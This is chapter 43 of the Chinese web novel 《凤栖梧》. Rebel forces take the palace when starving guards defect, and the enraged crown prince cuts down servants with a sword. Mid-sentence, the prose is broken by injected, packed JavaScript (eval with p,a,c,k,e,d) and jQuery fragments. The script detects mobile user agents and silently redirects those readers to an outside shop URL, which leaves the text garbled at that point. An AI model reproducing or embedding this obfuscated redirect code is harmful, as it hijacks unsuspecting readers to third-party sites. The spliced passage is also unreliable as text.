43. 第 43 章
作品:《凤栖梧》 “情况有点不对。”
不止温蘅,其他人也都这么觉得。
寅时的梆子已经敲过三遍了,却不见城门上出现交接的士兵。甚至连原先守卫的士兵都不见人影,但是城墙上却偶尔传来来回走动的脚步声和交头接耳的低语声。
“不会是攻城的消息走漏了,对方早有防备,就等着我们出现,来个瓮中捉鳖吧?”不知是谁,在黑暗中提了一句。
众人齐刷刷朝老张头看去。
老张头猛摇头,“不是我!”
又看刘小六。
刘小六猛摆手,“也不是我!”
雷猛低喝道:“都小点声!怕人听不见你们是吧?!”
穆文澜道:“再这么拖下去,等天亮了就更难动手了。不如一鼓作气冲上去,夺下城门再作计议。”
温蘅和穆斐点头。
其余人等迅速分作数十支小队,分别携带钩梯、长绳、床弩等工具,奔至城墙角下,然后纷纷向上攀援。
“还是不对。”
温蘅在队伍后方观望了一阵,心下隐隐感到不安。
从队伍攀墙开始,墙头上便陷入死寂,原来真切的脚步声和耳语声都凭空消失了。但是并没有任何阻击发生。
越是暴风雨来临的前夕,越是平静。
如果对方是等着他们攀上墙头,再一举击落,那他们毫无反击之力。
温蘅的掌心沁出了汗。
就在她犹豫要不要叫停的当儿,城墙上突然探出个人头。
城墙上的士兵都在专心攀爬,无人发现异动。远处的温蘅乍见黑暗中突现一个黑影,险些叫出声来。
只见那个人头,伸出垛口向下张望片刻,缩回去,又换了个垛口向下张望,从始至终都没有要攻击的意思。
换到第三个垛口的时候,他好像终于找到了目标,用气声向城墙挂着的某个人低声喊道:“嘿,嘿,小六,是你吗小六?”
刘小六是冲上城墙第一人,此刻正低头寻找踏脚点,猛听见虚空中有人喊自己,还以为遇见了鬼,一个踏空,差点倒栽下去。
只听那声音又说:“嗨,别紧张,是我啊,我啊。”
刘小六稳住身子,终于听清,声音来自头顶。他抬头一瞧,黑暗中一张模模糊糊的脸,看不真切,但声音有点耳熟。
“你……谁啊?”
“我,你刚来京里和你住同一条巷子的杨七。你住巷子头,我住巷子尾,咱俩本来还是同一支门军,后来我使银子调到了营卫,就搬走了,想起来没?”
“哦……哦!是你小子啊!升了兵种就不见你回来过,你小子忘本啊!”
头上传来不好意思的“嘿嘿”一笑。
脚底下传来一道怒声:“你俩咋还聊上了?要不上去打完了再唠嗑呢!”
杨七连忙说:“不打不打,我就想问问,你们那管饭不?能带我一个不?”
如果能腾出手来,刘小六也想挠头。
“算管吧。能的吧?”
听到肯定回答,杨七如获至宝,朝左右忙不迭道:“能能能,他说能!我就说我这兄弟靠谱吧?”
他左右的垛口瞬间探出更多面目模糊的人头来,声音里都带着笑,一口一个“兄弟”的叫着,有的伸手,有的抛绳,纷纷将城墙上的门头吏往上拉。
远处的穆斐看着这诡异的场景,“……什么情况?”
穆文澜:“好像现场认亲了。”
温蘅:“……可能又是太子殿下帮的忙。”
话音未落,宫门自内而外打开。打头的杨七和刘小六还在聊。
杨七:“老弟我的日子也不好过啊,饿得啊,你看你看,都啜腮了。”
刘小六:“哎哟,还真是,不是说你们是天子亲军,每天介吃香的喝辣的,怎么也沦落到如此田地呢?”
杨七:“害,粮饷早就发不出来了。一开始是活越来越多,银子越来越少,后来就说银库吃紧,迟几天发,少不了我们的,再然后就叫我们克服克服,能有份工做就不错了。就上个月,光我队里,饿死三个,累死五个。所以一听说你这里有新门路,大家伙儿不就纷纷来投奔了嘛。”
刘小六不解:“你们倒是神通广大,我们瞒得和铁桶一般,居然让你们知道了。”
杨七一巴掌拍在他肩膀上,“害,就你们满大街买麻绳买刀具那架势,坊间又疯传左相与长公主秘密回京,二皇子也潜回京城,傻子都能知道你们打算干啥。”
刘小六:“……”
下一秒,杨七便缩起脖子,堆起笑脸,朝温蘅他们迎了上去。
“哎呀,小的恭迎左相大人及二位殿下大驾。真是盼星星盼月亮,日也思夜也想,终于把您几位盼来了!兄弟伙们日日身在曹营心在汉,就想着能投效大人们麾下,那可是是小的们几辈子修来的福气啊~”
刘小六瞪着眼睛张大嘴:这和刚才说的不一样啊。
“咳,”温蘅清清嗓子道,“你们有多少人?”
杨七往后一指乌泱泱一大群人,“喏,愿意来的都在这了。不愿意来的,也提前被我们药倒了,坏不了事。”他掩着口,压低声音道:“您放心,再往里,也都是我们的人。”
穆文澜眯眼道:“你小子,是个人才啊。一张嘴居然能策反这么多人。”
杨七谦虚道:“小的不敢居功。主要还是几位殿下名头响亮,又有温将军美名在前,跟着您几个,总错不到哪去。”
神武门不攻自破,温蘅等人趁胜追击,紧接下来的顺贞门和坤宁门守卫闻风自散,勤王军直逼谨身殿。
*
谨身殿内,太子穆斌正就着烛火欣赏金光熠熠的龙袍。
这件龙袍是织造局集数百绣娘织工之力,于一个月之内不眠不休赶制而成。采用的材料都是普天之下最为名贵的,光是刺绣的金线就用掉两万四千尺,比以往历朝历代的龙袍多出足足一倍有余。这才使得整件龙袍不管是在日光下,还是在烛火下,无论从哪个角度看去,都是熠熠生光、辉煌灿烂。
穆斌喜滋滋地想象着一个时辰以后,自己身着龙袍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759015|182976||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,享受百官拥戴的场景,周围跪着一圈太监宫女,都低着头,大气不敢出。
正得意着,门外滚进来一个守门太监,神情慌张,上牙磕下牙,话都说不利索。
就在穆斌即将不耐烦之前,他终于把最重要的一句话说清楚了。
“不好了,左相、长公主、二皇子,打进来了!”
“什么?!”
穆斌大惊之后大怒,“不是说紫禁城固若金汤吗?不是说温蘅手下只有几个散兵游勇,成不了气候吗?孤不是已经把所有的精锐都投入到宫门守卫中去了吗?!为什么还挡不住区区温蘅?!”
守门太监抖如筛糠,连带着先前跪在地上的太监宫女都哆嗦起来。
“奴,奴才不知道啊,奴才只听说,听说……”他咽了口唾沫,不敢再往下说。
穆斌“唰”一下抽出案几上的长剑,直指他的咽喉。
“听说什么?!都说出来,不许瞒孤!”
“听、听说,接连三道宫门的守卫都望风而逃,甚至还有人临阵倒戈,替逆贼开、开门引路……”
“放肆!”
穆斌一剑劈下,剑尖带着风声,削去对方帽上角带。守门太监脚一软,身子一歪,头上乌纱帽应声而落,发髻乱作一团。
他趴伏在地上,抖着声音道:“殿下息怒,奴才是忠于殿下的,誓死追随殿下,殿下饶命啊……”
其他人也跟着高呼道:“誓死追随殿下,殿下饶命,殿下饶命!”
话音未落,又一剑劈出。剑尖划过肌肤,献血顿时喷涌而出。
守门太监试图捂住脖子上的伤口,像条被抛上岸的鱼一样大口呼吸,但最终只是瞪大双眼,无声地向后倒去。
“撒谎!你们都撒谎!你们都在骗孤!你们都把孤当傻子对不对?!孤不是傻子!”
长剑乱舞,跪着的人群中,有人被砍中了手臂,有人被斩断了下肢,还有的,跟守门太监一样倒霉,一剑封喉,瞬间毙命。
最初的震惊过后,众人从慌乱中回过神来,尖叫着争先恐后朝门外奔去。
“不许走!不许离开孤!不许背叛孤!”
穆斌随手抓住身边最近的一个宫女。这个宫女刚满十六,脸颊如同刚刚绽放的花朵一般饱满鲜艳,但此刻她的脸上只有恐惧。
她紧盯着剑尖,唯恐下一瞬便利刃加身,全神贯注之余完全无暇顾及周围的声音。
穆斌愈发狂怒,“为什么不听孤的?!孤才是真正的一人之下万人之上!再过一个时辰,便无人能再压在孤头上!孤是真正的一国之君!万万人之上!”
他举剑欲刺。
小宫女眼看着剑尖的锋芒越逼越近,绝望地闭上了眼睛,口中喃喃道:“娘啊,娘啊……”
突然门口传来一声断喝,止住了穆斌的动作。
“住手!荒唐!”
穆斌循声望去,门口逆着朦胧天光,映出一个宫装女子的剪影。
看清门口是谁后,穆斌脸上悲喜交加,顿时扔开小宫女,大步朝门口奔去。

